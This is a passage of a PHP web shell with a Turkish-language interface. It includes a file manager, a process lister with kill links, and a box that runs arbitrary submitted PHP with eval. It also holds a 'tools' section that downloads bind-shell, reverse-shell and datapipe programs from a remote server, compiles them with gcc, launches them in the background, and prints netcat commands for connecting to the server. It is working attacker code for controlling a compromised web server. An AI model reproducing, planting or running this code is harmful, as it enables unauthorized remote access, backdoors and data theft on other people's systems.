  4140.      $ext = explode(".",$o);
  4141.  
  4142.      $c = count($ext)-1;
  4143.  
  4144.      $ext = $ext[$c];
  4145.  
  4146.      $ext = strtolower($ext);
  4147.  
  4148.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  4149.  
  4150.      $row[] = view_size($a[1]);
  4151.  
  4152.     }
  4153.  
  4154.     $row[] = date("d.m.Y H:i:s",$a[2]);
  4155.  
  4156.     if (!$win) {$row[] = $a[3];}
  4157.  
  4158.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  4159.  
  4160.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  4161.  
  4162.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  4163.  
  4164.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Bilgi\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  4165.  
  4166.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Bilgi\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Degistir\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Indir\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  4167.  
  4168.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  4169.  
  4170.     elseif (is_link($v)) {$tab["links"][] = $row;}
  4171.  
  4172.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  4173.  
  4174.     elseif (is_file($v)) {$tab["files"][] = $row;}
  4175.  
  4176.     $i++;
  4177.  
  4178.    }
  4179.  
  4180.   }
  4181.  
  4182.   //Compiling table
  4183.  
  4184.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  4185.  
  4186.   echo "<center><b>Listelenen (".count($tab["files"])." dosya ve ".(count($tab["folders"])+count($tab["links"]))." klasor):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  4187.  
  4188.   foreach($table as $row)
  4189.  
  4190.   {
  4191.  
  4192.    echo "<tr>\r\n";
  4193.  
  4194.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  4195.  
  4196.    echo "</tr>\r\n";
  4197.  
  4198.   }
  4199.  
  4200.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  4201.  
  4202.  <script>
  4203.  
  4204.  function ls_setcheckboxall(status)
  4205.  
  4206.  {
  4207.  
  4208.   var id = 0;
  4209.  
  4210.   var num = ".(count($table)-2).";
  4211.  
  4212.   while (id <= num)
  4213.  
  4214.   {
  4215.  
  4216.    document.getElementById('actbox'+id).checked = status;
  4217.  
  4218.    id++;
  4219.  
  4220.   }
  4221.  
  4222.  }
  4223.  
  4224.  function ls_reverse_all()
  4225.  
  4226.  {
  4227.  
  4228.   var id = 0;
  4229.  
  4230.   var num = ".(count($table)-2).";
  4231.  
  4232.   while (id <= num)
  4233.  
  4234.   {
  4235.  
  4236.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  4237.  
  4238.    id++;
  4239.  
  4240.   }
  4241.  
  4242.  }
  4243.  
  4244.  </script>
  4245.  
  4246.  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Hepsini Sec\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Hepsini Sec(ME)\">
  4247.  
  4248.  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  4249.  
  4250.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  4251.  
  4252.   {
  4253.  
  4254.    echo "<input type=submit name=actarcbuff value=\"Pack, arsivi korur\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Yapistir\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Bos tampon\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  4255.  
  4256.   }
  4257.  
  4258.   echo "<select name=act><option value=\"".$act."\">(Secin):</option>";
  4259.  
  4260.   echo "<option value=delete".($dspact == "delete"?" selected":"").">SiL</option>";
  4261.  
  4262.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Mod Degistir</option>";
  4263.  
  4264.   if ($usefsbuff)
  4265.  
  4266.   {
  4267.  
  4268.    echo "<option value=cut".($dspact == "cut"?" selected":"").">KES</option>";
  4269.  
  4270.    echo "<option value=copy".($dspact == "copy"?" selected":"").">KOPYALA</option>";
  4271.  
  4272.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">SECME(Unselect)</option>";
  4273.  
  4274.   }
  4275.  
  4276.   echo "</select>&nbsp;<input type=submit value=\"OK!\"></p>";
  4277.  
  4278.   echo "</form>";
  4279.  
  4280.  }
  4281.  
  4282. }
  4283.  
  4284. if ($act == "tools")
  4285.  
  4286. {
  4287.  
  4288.  $bndportsrcs = array(
  4289.  
  4290.   "ashsh_bindport.pl"=>array("PERL Kullan","perl %path %port"),
  4291.  
  4292.   "ashsh_bindport.c"=>array("C Kullan","%path %port %pass")
  4293.  
  4294.  );
  4295.  
  4296.  $bcsrcs = array(
  4297.  
  4298.   "ashsh_backconn.pl"=>array("PERL Kullan","perl %path %host %port"),
  4299.  
  4300.   "ashsh_backconn.c"=>array("C Kullan","%path %host %port")
  4301.  
  4302.  );
  4303.  
  4304.  $dpsrcs = array(
  4305.  
  4306.   "ashsh_datapipe.pl"=>array("PERL Kullan","perl %path %localport %remotehost %remoteport"),
  4307.  
  4308.   "ashsh_datapipe.c"=>array("C Kullan","%path %localport %remoteport %remotehost")
  4309.  
  4310.  );
  4311.  
  4312.  if (!is_array($bind)) {$bind = array();}
  4313.  
  4314.  if (!is_array($bc)) {$bc = array();}
  4315.  
  4316.  if (!is_array($datapipe)) {$datapipe = array();}
  4317.  
  4318.  
  4319.  
  4320.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  4321.  
  4322.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  4323.  
  4324.  
  4325.  
  4326.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  4327.  
  4328.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  4329.  
  4330.  
  4331.  
  4332.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
  4333.  
  4334.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  4335.  
  4336.  if (!empty($bindsubmit))
  4337.  
  4338.  {
  4339.  
  4340.   echo "<b>Port Baglanti sonucu:</b><br>";
  4341.  
  4342.   $v = $bndportsrcs[$bind["src"]];
  4343.  
  4344.   if (empty($v)) {echo "Unknown file!<br>";}
  4345.  
  4346.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port Kullaniliyor,diger port Seciniz!<br>";}
  4347.  
  4348.   else
  4349.  
  4350.   {
  4351.  
  4352.    $w = explode(".",$bind["src"]);
  4353.  
  4354.    $ext = $w[count($w)-1];
  4355.  
  4356.    unset($w[count($w)-1]);
  4357.  
  4358.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  4359.  
  4360.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  4361.  
  4362.    if ($ext == "pl") {$binpath = $srcpath;}
  4363.  
  4364.    @unlink($srcpath);
  4365.  
  4366.    $fp = fopen($srcpath,"ab+");
  4367.  
  4368.    if (!$fp) {echo "Kaynak Koduna Yazilamadi--> \"".$srcpath."\"!<br>";}
  4369.  
  4370.    elseif (!$data = ashgetsource($bind["src"])) {echo "Kaynak Kodu Indirilemedi!";}
  4371.  
  4372.    else
  4373.  
  4374.    {
  4375.  
  4376.     fwrite($fp,$data,strlen($data));
  4377.  
  4378.     fclose($fp);
  4379.  
  4380.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  4381.  
  4382.     $v[1] = str_replace("%path",$binpath,$v[1]);
  4383.  
  4384.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  4385.  
  4386.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  4387.  
  4388.     $v[1] = str_replace("//","/",$v[1]);
  4389.  
  4390.     $retbind = myshellexec($v[1]." > /dev/null &");
  4391.  
  4392.     sleep(5);
  4393.  
  4394.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  4395.  
  4396.     if (!$sock) {echo "Baglanilamadi localhost a :".$bind["port"]."! Friwall ini kontrol Etmeni Dusunuyorum";}
  4397.  
  4398.     else {echo "Baglaniyor.......Tamam! Baglandi..--> <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>!NetCat'i Kullanio..\"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>Baglamalari gor!!</u></a></center>";}
  4399.  
  4400.    }
  4401.  
  4402.    echo "<br>";
  4403.  
  4404.   }
  4405.  
  4406.  }
  4407.  
  4408.  if (!empty($bcsubmit))
  4409.  
  4410.  {
  4411.  
  4412.   echo "<b>Eski Baglanti Sonuclari:</b><br>";
  4413.  
  4414.   $v = $bcsrcs[$bc["src"]];
  4415.  
  4416.   if (empty($v)) {echo "Unknown file!<br>";}
  4417.  
  4418.   else
  4419.  
  4420.   {
  4421.  
  4422.    $w = explode(".",$bc["src"]);
  4423.  
  4424.    $ext = $w[count($w)-1];
  4425.  
  4426.    unset($w[count($w)-1]);
  4427.  
  4428.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  4429.  
  4430.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  4431.  
  4432.    if ($ext == "pl") {$binpath = $srcpath;}
  4433.  
  4434.    @unlink($srcpath);
  4435.  
  4436.    $fp = fopen($srcpath,"ab+");
  4437.  
  4438.    if (!$fp) {echo "Kaynak Koduna Yazilamadi ---> \"".$srcpath."\"!<br>";}
  4439.  
  4440.    elseif (!$data = ashgetsource($bc["src"])) {echo "Kaynak Kodu indirilemedi!!!!";}
  4441.  
  4442.    else
  4443.  
  4444.    {
  4445.  
  4446.     fwrite($fp,$data,strlen($data));
  4447.  
  4448.     fclose($fp);
  4449.  
  4450.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  4451.  
  4452.     $v[1] = str_replace("%path",$binpath,$v[1]);
  4453.  
  4454.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  4455.  
  4456.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  4457.  
  4458.     $v[1] = str_replace("//","/",$v[1]);
  4459.  
  4460.     $retbind = myshellexec($v[1]." > /dev/null &");
  4461.  
  4462.     echo "Su an ki Script tekrar dene ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  4463.  
  4464.    }
  4465.  
  4466.   }
  4467.  
  4468.  }
  4469.  
  4470.  if (!empty($dpsubmit))
  4471.  
  4472.  {
  4473.  
  4474.   echo "<b>Datapipe Sonuclari:</b><br>";
  4475.  
  4476.   $v = $dpsrcs[$datapipe["src"]];
  4477.  
  4478.   if (empty($v)) {echo "Bilinmeyen Dosya!<br>";}
  4479.  
  4480.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port Kullaniliyor Baska port Secin!<br>";}
  4481.  
  4482.   else
  4483.  
  4484.   {
  4485.  
  4486.    $srcpath = $tmpdir.$datapipe["src"];
  4487.  
  4488.    $w = explode(".",$datapipe["src"]);
  4489.  
  4490.    $ext = $w[count($w)-1];
  4491.  
  4492.    unset($w[count($w)-1]);
  4493.  
  4494.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  4495.  
  4496.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  4497.  
  4498.    if ($ext == "pl") {$binpath = $srcpath;}
  4499.  
  4500.    @unlink($srcpath);
  4501.  
  4502.    $fp = fopen($srcpath,"ab+");
  4503.  
  4504.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  4505.  
  4506.    elseif (!$data = ashgetsource($datapipe["src"])) {echo "Kaynak Kodu indirilemedi!";}
  4507.  
  4508.    else
  4509.  
  4510.    {
  4511.  
  4512.     fwrite($fp,$data,strlen($data));
  4513.  
  4514.     fclose($fp);
  4515.  
  4516.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  4517.  
  4518.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  4519.  
  4520.     $v[1] = str_replace("%path",$binpath,$v[1]);
  4521.  
  4522.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  4523.  
  4524.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  4525.  
  4526.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  4527.  
  4528.     $v[1] = str_replace("//","/",$v[1]);
  4529.  
  4530.     $retbind = myshellexec($v[1]." > /dev/null &");
  4531.  
  4532.     sleep(5);
  4533.  
  4534.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  4535.  
  4536.     if (!$sock) {echo "Baglanilamadi localhost'a:".$datapipe["localport"]."! Friwall ini Kontrol etmen gerektigini dusunuyorum.";}
  4537.  
  4538.     else {echo "Baglaniyor datapipe... TAMAM Baglandi<b>".getenv("SERVER_ADDR").":".$datapipe["port"].", ve butun hepsine baglandin ".$datapipe["remoteaddr"]."</b>! Sen NetCat i kullaniyosun, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>datapipesi gor</u></a></center>";}
  4539.  
  4540.    }
  4541.  
  4542.    echo "<br>";
  4543.  
  4544.   }
  4545.  
  4546.  }
  4547.  
  4548.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  4549.  
  4550.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  4551.  
  4552.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  4553.  
  4554. <b>Back Baglanti:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  4555.  
  4556. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  4557.  
  4558. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  4559.  
  4560. <b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  4561.  
  4562. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  4563.  
  4564. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  4565.  
  4566. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> Uzak Serverden kaynak kodu indirilmistir.<?php
  4567.  
  4568. }
  4569.  
  4570. if ($act == "processes")
  4571.  
  4572. {
  4573.  
  4574.  echo "<b>Processes:</b><br>";
  4575.  
  4576.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  4577.  
  4578.  else {$handler = "tasklist";}
  4579.  
  4580.  $ret = myshellexec($handler);
  4581.  
  4582.  if (!$ret) {echo "Uygulanamadi \"".$handler."\"!";}
  4583.  
  4584.  else
  4585.  
  4586.  {
  4587.  
  4588.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  4589.  
  4590.   $parsesort = parsesort($processes_sort);
  4591.  
  4592.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  4593.  
  4594.   $k = $parsesort[0];
  4595.  
  4596.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4597.  
  4598.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4599.  
  4600.   $ret = htmlspecialchars($ret);
  4601.  
  4602.   if (!$win)
  4603.  
  4604.   {
  4605.  
  4606.    if ($pid)
  4607.  
  4608.    {
  4609.  
  4610.     if (is_null($sig)) {$sig = 9;}
  4611.  
  4612.     echo "Sinyal yollaniyor ".$sig." --> #".$pid."... ";
  4613.  
  4614.     if (posix_kill($pid,$sig)) {echo "Tamam.";}
  4615.  
  4616.     else {echo "Hata.";}
  4617.  
  4618.    }
  4619.  
  4620.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  4621.  
  4622.    $stack = explode("\n",$ret);
  4623.  
  4624.    $head = explode(" ",$stack[0]);
  4625.  
  4626.    unset($stack[0]);
  4627.  
  4628.    for($i=0;$i<count($head);$i++)
  4629.  
  4630.    {
  4631.  
  4632.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  4633.  
  4634.    }
  4635.  
  4636.    $prcs = array();
  4637.  
  4638.    foreach ($stack as $line)
  4639.  
  4640.    {
  4641.  
  4642.     if (!empty($line))
  4643.  
  4644.     {
  4645.  
  4646.      echo "<tr>";
  4647.  
  4648.      $line = explode(" ",$line);
  4649.  
  4650.      $line[10] = join(" ",array_slice($line,10));
  4651.  
  4652.      $line = array_slice($line,0,11);
  4653.  
  4654.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  4655.  
  4656.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  4657.  
  4658.      $prcs[] = $line;
  4659.  
  4660.      echo "</tr>";
  4661.  
  4662.     }
  4663.  
  4664.    }
  4665.  
  4666.   }
  4667.  
  4668.   else
  4669.  
  4670.   {
  4671.  
  4672.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4673.  
  4674.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4675.  
  4676.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4677.  
  4678.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4679.  
  4680.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4681.  
  4682.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4683.  
  4684.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4685.  
  4686.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4687.  
  4688.    while (ereg("  ",$ret)) {$ret = str_replace("  ","   ",$ret);}
  4689.  
  4690.    while (ereg("        ",$ret)) {$ret = str_replace("      "," ",$ret);}
  4691.  
  4692.    while (ereg("     ",$ret)) {$ret = str_replace("  ","    ",$ret);}
  4693.  
  4694.    $ret = convert_cyr_string($ret,"d","w");
  4695.  
  4696.    $stack = explode("\n",$ret);
  4697.  
  4698.    unset($stack[0],$stack[2]);
  4699.  
  4700.    $stack = array_values($stack);
  4701.  
  4702.    $head = explode("    ",$stack[0]);
  4703.  
  4704.    $head[1] = explode(" ",$head[1]);
  4705.  
  4706.    $head[1] = $head[1][0];
  4707.  
  4708.    $stack = array_slice($stack,1);
  4709.  
  4710.    unset($head[2]);
  4711.  
  4712.    $head = array_values($head);
  4713.  
  4714.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4715.  
  4716.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  4717.  
  4718.    if ($k > count($head)) {$k = count($head)-1;}
  4719.  
  4720.    for($i=0;$i<count($head);$i++)
  4721.  
  4722.    {
  4723.  
  4724.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  4725.  
  4726.    }
  4727.  
  4728.    $prcs = array();
  4729.  
  4730.    foreach ($stack as $line)
  4731.  
  4732.    {
  4733.  
  4734.     if (!empty($line))
  4735.  
  4736.     {
  4737.  
  4738.      echo "<tr>";
  4739.  
  4740.      $line = explode("  ",$line);
  4741.  
  4742.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  4743.  
  4744.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  4745.  
  4746.      $prcs[] = $line;
  4747.  
  4748.      echo "</tr>";
  4749.  
  4750.     }
  4751.  
  4752.    }
  4753.  
  4754.   }
  4755.  
  4756.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  4757.  
  4758.   $v = $processes_sort[0];
  4759.  
  4760.   usort($prcs,"tabsort");
  4761.  
  4762.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  4763.  
  4764.   $tab = array();
  4765.  
  4766.   $tab[] = $head;
  4767.  
  4768.   $tab = array_merge($tab,$prcs);
  4769.  
  4770.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  4771.  
  4772.   foreach($tab as $i=>$k)
  4773.  
  4774.   {
  4775.  
  4776.    echo "<tr>";
  4777.  
  4778.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  4779.  
  4780.    echo "</tr>";
  4781.  
  4782.   }
  4783.  
  4784.   echo "</table>";
  4785.  
  4786.  }
  4787.  
  4788. }
  4789.  
  4790. if ($act == "eval")
  4791.  
  4792. {
  4793.  
  4794.  if (!empty($eval))
  4795.  
  4796.  {
  4797.  
  4798.   echo "<b>Result of execution this PHP-code</b>:<br>";
  4799.  
  4800.   $tmp = ob_get_contents();
  4801.  
  4802.   $olddir = realpath(".");
  4803.  
  4804.   @chdir($d);
  4805.  
  4806.   if ($tmp)
  4807.  
  4808.   {
  4809.  
  4810.    ob_clean();
  4811.  
  4812.    eval($eval);
  4813.  
  4814.    $ret = ob_get_contents();
  4815.  
  4816.    $ret = convert_cyr_string($ret,"d","w");
  4817.  
  4818.    ob_clean();
  4819.  
  4820.    echo $tmp;
  4821.  
  4822.    if ($eval_txt)
  4823.  
  4824.    {
  4825.  
  4826.     $rows = count(explode("\r\n",$ret))+1;
  4827.  
  4828.     if ($rows < 10) {$rows = 10;}
  4829.  
  4830.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  4831.  
  4832.    }
  4833.  
  4834.    else {echo $ret."<br>";}
  4835.  
  4836.   }
  4837.  
  4838.   else
  4839.  
  4840.   {
  4841.  
  4842.    if ($eval_txt)
  4843.  
  4844.    {
  4845.  
  4846.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  4847.  
  4848.     eval($eval);
  4849.  
  4850.     echo "</textarea>";
  4851.  
  4852.    }
  4853.  
  4854.    else {echo $ret;}
  4855.  
  4856.   }
  4857.  
  4858.   @chdir($olddir);
  4859.  
  4860.  }
  4861.  
  4862.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
  4863.  
  4864.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Tamam\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  4865.  
  4866. }
  4867.  
  4868. if ($act == "f")
  4869.  
  4870. {
  4871.  
  4872.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  4873.  
  4874.  {
  4875.  
  4876.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  4877.  
  4878.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Olustur</u></a></center>";}
  4879.  
  4880.  }
  4881.  
  4882.  else
  4883.  
  4884.  {
  4885.  
  4886.   $r = @file_get_contents($d.$f);
  4887.  
  4888.   $ext = explode(".",$f);
  4889.  
  4890.   $c = count($ext)-1;
  4891.  
  4892.   $ext = $ext[$c];
  4893.  
  4894.   $ext = strtolower($ext);
  4895.  
  4896.   $rft = "";
  4897.  
  4898.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  4899.  
  4900.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  4901.  
  4902.   if (empty($ft)) {$ft = $rft;}
  4903.  
  4904.   $arr = array(
  4905.  
  4906.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  4907.  
  4908.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  4909.  
  4910.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  4911.  
  4912.    array("Code","code"),
  4913.  
  4914.    array("Session","phpsess"),
  4915.  
  4916.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  4917.  
  4918.    array("SDB","sdb"),
  4919.  
  4920.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  4921.  
  4922.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  4923.  
  4924.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  4925.  
  4926.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  4927.  
  4928.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  4929.  
  4930.   );
  4931.  
  4932.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  4933.  
  4934.   foreach($arr as $t)
  4935.  
  4936.   {
  4937.  
  4938.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  4939.  
  4940.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  4941.  
  4942.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  4943.  
  4944.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  4945.  
  4946.   }
  4947.  
